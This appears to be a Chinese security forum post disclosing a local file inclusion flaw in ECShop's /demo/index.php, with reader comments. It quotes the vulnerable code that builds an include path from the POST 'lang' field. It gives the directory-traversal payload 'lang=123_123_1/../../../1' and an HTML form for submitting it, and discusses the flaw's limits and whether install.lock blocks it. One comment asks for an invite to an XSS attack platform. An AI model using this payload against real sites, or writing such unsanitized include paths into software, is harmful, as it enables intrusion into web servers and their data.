这个洞,其实我在2012年1月的时候看ecshop就分析出来过,当初由于感觉鸡肋就没怎么放出来。刚下了个官网最新版的,没想到还存在。
漏洞文件在:/demo/index.php
if (!empty($_POST['lang'])) //如果不为空 { $lang_charset = explode('_', $_POST['lang']); //_分割 $updater_lang = $lang_charset[0].'_'.$lang_charset[1]; $ec_charset = $lang_charset[2]; //我们要控制的。 } . . . /* 加载升级程序所使用的语言包 */ $updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php'; //成功进行控制 if (file_exists($updater_lang_package_path)) { include_once($updater_lang_package_path); //存在就包含。 $smarty->assign('lang', $_LANG); } else { die('Can't find language package!'); }
为了方便测试,我在本地网站根目录下建立一个1.php
代码如下:
<?php Phpinfo(); ?>
然后利用如下:
POST提交lang=123_123_1/../../../1 成功包含 根目录下1.php
由于本机,搭建环境出了个问题,这个是借别人的图。。应该为post提交,这个漏洞鸡肋之处在于,魔术引号,后面貌似不能%00。
利用代码。保存为html。
<font face="宋体 "><code id="code2"> <html> <body> <form action="http://127.0.0.1/demo/index.php" method="post" enctype="multipart/form-data"> <input type="text" name="lang" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html></code></font>
作者:风之传说 》》90sec
我下载最新版,安装系统后生成了data/install.lock
第27行有判断呐 file_exists(ROOT_PATH ."data/install.lock")
好像无法利用呢
@l5ffy 不知道你这个所谓的最新版是什么版本。。。。。截至哦呜测试日期是可以的
求xss平台邀请码一枚,学习,邮箱:iywzrronlx47150@qq.com
谢谢